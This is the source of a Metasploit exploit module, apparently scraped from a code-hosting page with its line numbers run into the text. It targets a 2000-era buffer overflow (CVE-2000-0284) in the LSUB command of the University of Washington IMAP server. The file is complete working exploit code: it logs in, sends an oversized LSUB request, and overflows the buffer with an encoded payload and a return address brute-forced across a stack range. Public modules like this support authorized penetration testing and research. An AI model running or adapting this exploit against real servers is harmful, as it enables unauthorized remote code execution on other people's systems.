Path: blob/master/modules/exploits/linux/imap/imap_uw_lsub.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Imap1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'UoW IMAP Server LSUB Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in the 'LSUB'18command of the University of Washington IMAP service.19This vulnerability can only be exploited with a valid username20and password.21},22'Author' => [ 'aushack', 'jduck' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2000-0284' ],26[ 'OSVDB', '12037' ],27[ 'BID', '1110' ],28[ 'EDB', '284' ]29],30'Privileged' => false,31'Payload' => {32'Space' => 964,33'BadChars' => "\x00\x0a\x0d\x2f",34'StackAdjustment' => -350035},36'Platform' => 'linux',37'Targets' => [38# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],39[40'Linux Bruteforce',41{42'Platform' => 'linux',43'Offset' => 1064,44'Bruteforce' =>45{46'Start' => { 'Ret' => 0xbffffdfc },47'Stop' => { 'Ret' => 0xbfa00000 },48'Step' => 20049}50},51]52],53'DisclosureDate' => '2000-04-16',54'DefaultTarget' => 0,55'Notes' => {56'Stability' => [CRASH_SERVICE_RESTARTS],57'SideEffects' => [IOC_IN_LOGS],58'Reliability' => [UNRELIABLE_SESSION]59}60)61)62end6364def check65connect66disconnect6768if banner =~ /IMAP4rev1 v12\.264/69return CheckCode::Appears('IMAP4rev1 v12.264')70end7172CheckCode::Safe73end7475def brute_exploit(addresses)76print_status('Trying 0x%.8x ...' % addresses['Ret'])7778fail_with(Failure::NoAccess, 'Unable to log in!') unless connect_login7980req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']81sock.put(req)82sock.get_once8384sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"85sock.put(sploit)8687handler88disconnect89end90end919293